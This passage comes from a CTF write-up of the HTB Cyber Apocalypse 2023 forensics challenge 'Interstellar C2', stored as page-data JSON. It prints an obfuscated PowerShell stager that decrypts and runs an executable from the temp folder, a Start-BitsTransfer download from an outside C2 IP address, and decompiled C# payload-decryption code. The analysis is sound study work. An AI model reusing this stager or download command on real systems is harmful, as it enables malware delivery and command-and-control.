punctuation\">)</span><span class=\"token punctuation\">.</span>VAluE::<span class=\"token punctuation\">(</span><span class=\"token string\">\"{1}{0}\"</span> <span class=\"token operator\">-</span>f<span class=\"token string\">'reate'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'C'</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span>Invoke<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n$<span class=\"token punctuation\">{</span>a`Es<span class=\"token punctuation\">}</span><span class=\"token punctuation\">.</span><span class=\"token string\">\"KE`Y`sIZE\"</span> = 128\n$<span class=\"token punctuation\">{</span>K`EY<span class=\"token punctuation\">}</span> = <span class=\"token namespace\">[byte[]]</span> <span class=\"token punctuation\">(</span>0<span class=\"token punctuation\">,</span>1<span class=\"token punctuation\">,</span>1<span class=\"token punctuation\">,</span>0<span class=\"token punctuation\">,</span>0<span class=\"token punctuation\">,</span>1<span class=\"token punctuation\">,</span>1<span class=\"token punctuation\">,</span>0<span class=\"token punctuation\">,</span>0<span class=\"token punctuation\">,</span>1<span class=\"token punctuation\">,</span>1<span class=\"token punctuation\">,</span>0<span class=\"token punctuation\">,</span>1<span class=\"token punctuation\">,</span>1<span class=\"token punctuation\">,</span>0<span class=\"token punctuation\">,</span>0<span class=\"token punctuation\">)</span>\n$<span class=\"token punctuation\">{</span>iv<span class=\"token punctuation\">}</span> = <span class=\"token namespace\">[byte[]]</span> <span class=\"token punctuation\">(</span>0<span class=\"token punctuation\">,</span>1<span class=\"token punctuation\">,</span>1<span class=\"token punctuation\">,</span>0<span class=\"token punctuation\">,</span>0<span class=\"token punctuation\">,</span>0<span class=\"token punctuation\">,</span>0<span class=\"token punctuation\">,</span>1<span class=\"token punctuation\">,</span>0<span class=\"token punctuation\">,</span>1<span class=\"token punctuation\">,</span>1<span class=\"token punctuation\">,</span>0<span class=\"token punctuation\">,</span>0<span class=\"token punctuation\">,</span>1<span class=\"token punctuation\">,</span>1<span class=\"token punctuation\">,</span>1<span class=\"token punctuation\">)</span>\n$<span class=\"token punctuation\">{</span>a`ES<span class=\"token punctuation\">}</span><span class=\"token punctuation\">.</span><span class=\"token string\">\"K`EY\"</span> = $<span class=\"token punctuation\">{</span>K`EY<span class=\"token punctuation\">}</span>\n$<span class=\"token punctuation\">{</span>A`es<span class=\"token punctuation\">}</span><span class=\"token punctuation\">.</span><span class=\"token string\">\"i`V\"</span> = $<span class=\"token punctuation\">{</span>i`V<span class=\"token punctuation\">}</span>\n$<span class=\"token punctuation\">{</span>cS<span class=\"token punctuation\">}</span> = <span class=\"token punctuation\">.</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"{1}{0}{2}\"</span><span class=\"token operator\">-</span>f<span class=\"token string\">'e'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'N'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'w-Object'</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">(</span><span class=\"token string\">\"{4}{6}{2}{9}{1}{10}{0}{5}{8}{3}{7}\"</span> <span class=\"token operator\">-</span>f <span class=\"token string\">'phy.Crypto'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'ptogr'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'ecuri'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'rea'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'Syste'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'S'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'m.S'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'m'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'t'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'ty.Cry'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'a'</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span>$<span class=\"token punctuation\">{</span>m`S<span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span> $<span class=\"token punctuation\">{</span>a`Es<span class=\"token punctuation\">}</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"{0}{3}{2}{1}\"</span> <span class=\"token operator\">-</span>f<span class=\"token string\">'Cre'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'or'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'pt'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'ateDecry'</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span>Invoke<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span>   <span class=\"token punctuation\">(</span>&amp;<span class=\"token punctuation\">(</span><span class=\"token string\">\"{1}{2}{0}\"</span><span class=\"token operator\">-</span>f <span class=\"token string\">'ARIaBLE'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'Ge'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'T-V'</span><span class=\"token punctuation\">)</span>  bI34  <span class=\"token operator\">-</span>VaLue <span class=\"token punctuation\">)</span>::<span class=\"token string\">\"W`RItE\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n$<span class=\"token punctuation\">{</span>f`s<span class=\"token punctuation\">}</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"{1}{0}\"</span><span class=\"token operator\">-</span>f <span class=\"token string\">'To'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'Copy'</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span>Invoke<span class=\"token punctuation\">(</span>$<span class=\"token punctuation\">{</span>Cs<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n$<span class=\"token punctuation\">{</span>d`ecD<span class=\"token punctuation\">}</span> = $<span class=\"token punctuation\">{</span>M`s<span class=\"token punctuation\">}</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"{0}{1}{2}\"</span><span class=\"token operator\">-</span>f<span class=\"token string\">'T'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'oAr'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'ray'</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span>Invoke<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n$<span class=\"token punctuation\">{</span>C`S<span class=\"token punctuation\">}</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"{1}{0}\"</span><span class=\"token operator\">-</span>f <span class=\"token string\">'te'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'Wri'</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span>Invoke<span class=\"token punctuation\">(</span>$<span class=\"token punctuation\">{</span>d`ECD<span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span> 0<span class=\"token punctuation\">,</span> $<span class=\"token punctuation\">{</span>d`ECd<span class=\"token punctuation\">}</span><span class=\"token punctuation\">.</span><span class=\"token string\">\"LENg`TH\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n$<span class=\"token punctuation\">{</span>D`eCd<span class=\"token punctuation\">}</span> <span class=\"token punctuation\">|</span> <span class=\"token punctuation\">.</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"{2}{3}{1}{0}\"</span> <span class=\"token operator\">-</span>f<span class=\"token string\">'ent'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'t-Cont'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'S'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'e'</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">-</span>Path <span class=\"token string\">\"<span class=\"token variable\">$env</span>:temp\\tmp7102591.exe\"</span> <span class=\"token operator\">-</span>Encoding <span class=\"token punctuation\">(</span><span class=\"token string\">\"{1}{0}\"</span><span class=\"token operator\">-</span>f <span class=\"token string\">'yte'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'B'</span><span class=\"token punctuation\">)</span>\n&amp; <span class=\"token string\">\"<span class=\"token variable\">$env</span>:temp\\tmp7102591.exe\"</span></code></pre></div>\n<p>Deobfuscating this script revealed that <code class=\"language-text\">tmp7102591.exe</code> was downloaded via <code class=\"language-text\">Start-BitsTransfer</code> from the following source:</p>\n<p>We identified the downloaded filename as <code class=\"language-text\">94974f08-5853-41ab-938a-ae1bd86d8e51</code>, extracted that object from the pcap, and saved it as <code class=\"language-text\">tmp7102591.exe</code>.</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\">Start-BitsTransfer -Source http://64.226.84.200/94974f08-5853-41ab-938a-ae1bd86d8e51 -Destination C:<span class=\"token punctuation\">\\</span>Users<span class=\"token punctuation\">\\</span>TADPOL~1<span class=\"token punctuation\">\\</span>AppData<span class=\"token punctuation\">\\</span>Local<span class=\"token punctuation\">\\</span>Temp<span class=\"token punctuation\">\\</span>94974f08-5853-41ab-938a-ae1bd86d8e51</code></pre></div>\n<p>The file <code class=\"language-text\">tmp7102591.exe</code> was a .NET application.</p>\n<p>Decompiling it with ILSpy gave us nearly raw source code.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/2ce0637eee6c65abc9a148e4e6698fa4/fbf76/image-20230322224959926.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 49.16666666666667%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAABjUlEQVQoz22S7VKjMBiFuf/r2d9ewq5Wq1ttESidSkAChfAREs6epMpqbWaeCZDwzHnfJGhaBaU6aK3RDyParsc4jhgGja4b0Dv6AZOeYCZLzAf2KsHbm0AmCuT5O/JCQlYn0uDXOsLNJkZZFyhIrSrU7XUqRyM9QRzHcIRhCFlKuKGZJs7+QsoHqNMGp+oRdfOEftxhnIh2hAvavGKyhHMQRRGSJPHSNE1Z6ghrDToVo8r+oMjvIbIHCHHLdmzZhg3XNmzDluw8xoSMEXu88HA4sI+KmzvKrBe2zRb79BZlueLaM9d2sEwA7EnyQbwwzxGhUAjh0znR53BCVb0gfP2N9HiHU71maUzHNG37ck7ZP7N8JvOiaJEGx+MRLmXf94vQTBP0lKBhWcOw9cksNxvOZ0IYe/72P935ORBZhlzk3xJOFFpDoXryaZxEs/mfP12W+vU9iJkuo9SNeZ4X4TzvvUyWay8bmXS+SDRfS1jJd38gX4XW8FBUiCRd8YTveEdXvKOPvPC7H4JL/gErQvwcJg9ACwAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/2ce0637eee6c65abc9a148e4e6698fa4/8ac56/image-20230322224959926.webp 240w,\n/static/2ce0637eee6c65abc9a148e4e6698fa4/d3be9/image-20230322224959926.webp 480w,\n/static/2ce0637eee6c65abc9a148e4e6698fa4/e46b2/image-20230322224959926.webp 960w,\n/static/2ce0637eee6c65abc9a148e4e6698fa4/5733b/image-20230322224959926.webp 1252w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/2ce0637eee6c65abc9a148e4e6698fa4/8ff5a/image-20230322224959926.png 240w,\n/static/2ce0637eee6c65abc9a148e4e6698fa4/e85cb/image-20230322224959926.png 480w,\n/static/2ce0637eee6c65abc9a148e4e6698fa4/d9199/image-20230322224959926.png 960w,\n/static/2ce0637eee6c65abc9a148e4e6698fa4/fbf76/image-20230322224959926.png 1252w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/2ce0637eee6c65abc9a148e4e6698fa4/d9199/image-20230322224959926.png\"\n            alt=\"image-20230322224959926\"\n            title=\"image-20230322224959926\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>We focused in particular on the following code:</p>\n<div class=\"gatsby-highlight\" data-language=\"c#\"><pre class=\"language-c#\"><code class=\"language-c#\">using System;\nusing System.Diagnostics;\nusing System.Globalization;\nusing System.Security.Principal;\nusing System.Text.RegularExpressions;\nusing System.Security.Cryptography;\nusing System.Text;\n\nnamespace testapp\n{\n    class Program\n    {\nprivate static SymmetricAlgorithm CreateCam(string key, string IV, bool rij = true)\n{\nSymmetricAlgorithm symmetricAlgorithm = null;\nsymmetricAlgorithm = ((!rij) ? ((SymmetricAlgorithm)new AesCryptoServiceProvider()) : ((SymmetricAlgorithm)new RijndaelManaged()));\nsymmetricAlgorithm.Mode = CipherMode.CBC;\nsymmetricAlgorithm.Padding = PaddingMode.Zeros;\nsymmetricAlgorithm.BlockSize = 128;\nsymmetricAlgorithm.KeySize = 256;\nif (IV != null)\n{\nsymmetricAlgorithm.IV = Convert.FromBase64String(IV);\n}\nelse\n{\nsymmetricAlgorithm.GenerateIV();\n}\nif (key != null)\n{\nsymmetricAlgorithm.Key = Convert.FromBase64String(key);\n}\nreturn symmetricAlgorithm;\n}\n\nprivate static string Decryption(string key, string enc)\n{\nbyte[] array = Convert.FromBase64String(enc);\nbyte[] array2 = new byte[16];\nArray.Copy(array, array2, 16);\ntry\n{\nSymmetricAlgorithm symmetricAlgorithm = CreateCam(key, Convert.ToBase64String(array2));\nbyte[] bytes = symmetricAlgorithm.CreateDecryptor().TransformFinalBlock(array, 16, array.Length - 16);\nreturn Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(bytes).Trim(default(char))));\n}\ncatch\n{\nSymmetricAlgorithm symmetricAlgorithm2 = CreateCam(key, Convert.ToBase64String(array2), rij: false);\nbyte[] bytes2 = symmetricAlgorithm2.CreateDecryptor().TransformFinalBlock(array, 16, array.Length - 16);\nreturn Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(bytes2).Trim(default(char))));\n}\nfinally\n{\nArray.Clear(array, 0, array.Length);\nArray.Clear(array2, 0, 16);\n}\n}\n\nstatic void Main(string[] args)\n        {\n            string key = &quot;DGCzi057IDmHvgTVE2gm60w8quqfpMD+o8qCBGpYItc=&quot;;\nstring enc = &quot;&lt;/Kettie/Emmie/Anni?Theda=Merrilee? から取得&gt;&quot;;\nstring text2 = Decryption(key, enc);\nConsole.WriteLine(text2);\n\n}\n    }\n}</code></pre></div>\n<p>Reversing this step by step, we identified that the code decrypts an AES-encrypted payload and executes it.</p>\n<p>Further analysis revealed that the flag was AES-encrypted, converted to an image, and sent to a C2 service via POST — and we identified the key. Unfortunately, we ran out of time before we could decrypt the flag.</p>\n<p>We identified the key but did not have the stamina to push it all the way through — a very interesting challenge nonetheless.</p>\n<p>Reference: <a href=\"https://medium.com/maverislabs/htb-ca2023-forensics-interstellar-c2-588e2419400c\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">HTB: CA2023 — Forensics Interstellar C2 | by Khris Tolbert | Maveris Labs | Mar, 2023 | Medium</a></p>\n<h2 id=\"summary\" style=\"position:relative;\"><a href=\"#summary\" aria-label=\"summary permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Summary</h2>\n<p>This CTF had a large number of challenges closely mirroring real-world malware analysis and incident response scenarios, making it a thoroughly enjoyable experience.</p>\n<p>We have a strong interest in malware analysis and forensics, and plan to keep studying going forward.</p>","fields":{"slug":"/ctf-htb-2023-en","tagSlugs":["/tag/ctf-en/","/tag/rev-en/","/tag/forensic-en/","/tag/english/"]},"frontmatter":{"date":"2023-03-25","description":"Cyber Apocalypse 2023 Writeup","tags":["CTF (en)","Rev (en)","Forensic (en)","English"],"title":"Cyber Apocalypse 2023 Writeup","socialImage":{"publicURL":"/static/494ab1447efa56139f708a8d20a3d86f/ctf-htb-ctf-2023.png"}}}},"pageContext":{"slug":"/ctf-htb-2023-en"}},"staticQueryHashes":["251939775","401334301","825871152"]}